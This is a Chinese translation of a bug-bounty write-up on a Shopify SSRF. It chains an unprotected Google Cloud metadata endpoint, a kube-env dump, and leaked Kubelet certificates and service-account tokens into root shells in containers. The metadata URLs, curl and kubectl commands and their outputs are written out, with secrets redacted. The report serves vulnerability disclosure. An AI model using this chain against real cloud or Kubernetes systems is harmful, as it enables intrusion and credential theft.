漏洞点:your-store.myshopify.com
漏洞利用链 - 如何获得所有Shopify实例的root访问权限
1 - 访问Google云元数据
2:编辑模板password.liquid并添加以下内容:
3:转到https://exchange.shopify.com/create-a-isting 并安装Exchange应用程序
4:等待商店截图出现在Create Listing页面上
5:下载PNG并使用图像编辑软件将其打开或将其转换为JPEG(Chrome显示黑色PNG)
{} F289082
在Google Cloud实例中探索SSRF需要一个特殊的标题。但是,在阅读文档时,我发现真正简单的方法来“绕过”它:/v1beta1端点仍然可用,不需要Metadata-Flavor: Google标头,并且仍然返回相同的标记。
我试图泄漏更多的数据,但网页截图软件并没有产生任何application/text响应图像。但是,我发现我可以添加参数alt=json来强制application/json响应。我设法泄漏更多的数据,比如不完整的SSH公钥列表(包括电子邮件地址),项目名称(█████),实例名称等等:
{} F289081
我可以使用泄漏的令牌添加我的SSH密钥吗?没有
curl -X POST "https://www.googleapis.com/compute/v1/projects/███/setCommonInstanceMetadata" -H "Authorization: Bearer ██████████████" -H "Content-Type: application/json" --data '{"items": [{"key": "0xACB", "value": "test"}]}'
{
"error": {
"errors": [
{
"domain": "global",
"reason": "forbidden",
},
{
"domain": "global",
"reason": "forbidden",
"message": "Required 'iam.serviceAccounts.actAs' permission for 'projects/███████'"
}
],
"code": 403,
}}
我检查了该令牌的范围,并且没有对Compute Engine API的读/写访问权限:
curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=██████████████████"
{
"issued_to": "███████",
"audience": "███",
"scope": "https://www.googleapis.com/auth/cloud-platform",
"expires_in": 1307,
"access_type": "offline"}
2 - 倾销kube-env
我创建了一个新的商店并递归地从这个实例中提取属性:http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive = true&alt = json
结果:
元数据隐藏(https://cloud.google.com/kubernetes-engine/docs/how-to/metadata-concealment)未启用,因此该kube-env属性可用。
由于图像被裁剪,我提出了一个新请求:http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt = json 以便查看Kubelet证书和Kubelet私钥的其余部分。
结果:
ca.crt
-----BEGIN CERTIFICATE-----█████████████████████████████████████████████████████████████████████████████████████████████████████████████████-----END CERTIFICATE-----
client.crt
-----BEGIN CERTIFICATE-----███████████████████████████████████████████████████████████████████████████████████████████████████████-----END CERTIFICATE-----
client.pem
-----BEGIN RSA PRIVATE KEY-----██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████-----END RSA PRIVATE KEY-----
MASTER_NAME:█████
3 - 使用Kubelet执行任意命令
可以列出所有窗格:
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get pods --all-namespacesNAMESPACE NAME READY STATUS RESTARTS AGE████████ ██████████ 1/1
并创建新的豆荚:
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://████████ create -f https://k8s.io/docs/tasks/debug-application-cluster/shell-demo.yamlpod "shell-demo" created$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████████ delete pod shell-demopod "shell-demo" deleted
我没有尝试删除正在运行的豆荚,显然,我不确定是否可以将它们与用户一起删除████████。但是,无法在此新Pod或任何其他Pod中执行命令:
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://█████████ exec -it shell-demo -- /bin/bashError from server (Forbidden): pods "shell-demo" is forbidden: User "███" cannot create pods/exec in the namespace "default": Unknown user "███"
该get secrets命令不起作用,但可以描述给定的吊舱并使用其名称获取秘密。这就是我使用████名称空间中的实例泄漏kubernetes.io服务帐户令牌的方式████:
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://███ describe pods/█████ -n █████████Name: ████████Namespace: ██████Node: ██████████Start Time: Fri, 23 Mar 2018 13:53:13 +0000Labels: █████
████
█████Annotations: Status: RunningIP: █████████Controlled By: █████Containers:
default-http-backend:
Image: ██████
Port: ████/TCP
Host Port: 0/TCP
State: Running
Started: Sun, 22 Apr 2018 03:23:09 +0000
Last State: Terminated
Reason: Error
Exit Code: 2
Started: Fri, 20 Apr 2018 23:39:21 +0000
Finished: Sun, 22 Apr 2018 03:23:07 +0000
Ready: True
Restart Count: 180
Limits:
cpu: 10m
memory: 20Mi
Requests:
cpu: 10m
memory: 20Mi
Liveness: http-get http://:███/healthz delay=30s timeout=5s period=10s #success=1 #failure=3
Environment:
Mounts:
██████Conditions:
Type Status
Initialized True
Ready True
PodScheduled TrueVolumes:
██████████:
Type: Secret (a volume populated by a Secret)
SecretName: ███████
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get secret███████ -n ███████ -o yamlapiVersion: v1data:
ca.crt: ██████████
namespace: ████
token: ██████████==kind: Secretmetadata:
annotations:
kubernetes.io/service-account.name: default
kubernetes.io/service-account.uid: ████
creationTimestamp: 2017-01-23T16:08:19Z
name:█████
namespace: ██████████
selfLink: /api/v1/namespaces/████████/secrets/████
uid: █████████type: kubernetes.io/service-account-token
最后,可以使用此令牌在任何容器中获取shell:
$ kubectl --certificate-authority ca.crt --server https://████ --token "█████.██████.███" exec -it w█████████ -- /bin/bashDefaulting container name to web.Use 'kubectl describe pod/w█████████' to see all of the containers in this pod.███████:/# iduid=0(root) gid=0(root) groups=0(root)█████:/# lsapp boot dev exec key lib64 mnt proc run srv start tmp varbin build etc home lib media opt root sbin ssl sys usr███████:/# exit
$ kubectl --certificate-authority ca.crt --server https://███████ --token "█████.██████.█████████" exec -it ████████ -n ████████ -- /bin/bashDefaulting container name to web.Use 'kubectl describe pod/█████ -n █████' to see all of the containers in this pod.root@████:/# iduid=0(root) gid=0(root) groups=0(root)root@████:/# lsapp boot dev exec key lib64 mnt proc run srv start tmp varbin build etc home lib media opt root sbin ssl sys usrroot@█████:/# exit
内部服务能否绕过网络访问控制?
是
可以访问哪些内部服务?
Google云元数据
安全影响
RCE
领取专属 10元无门槛券
私享最新 技术干货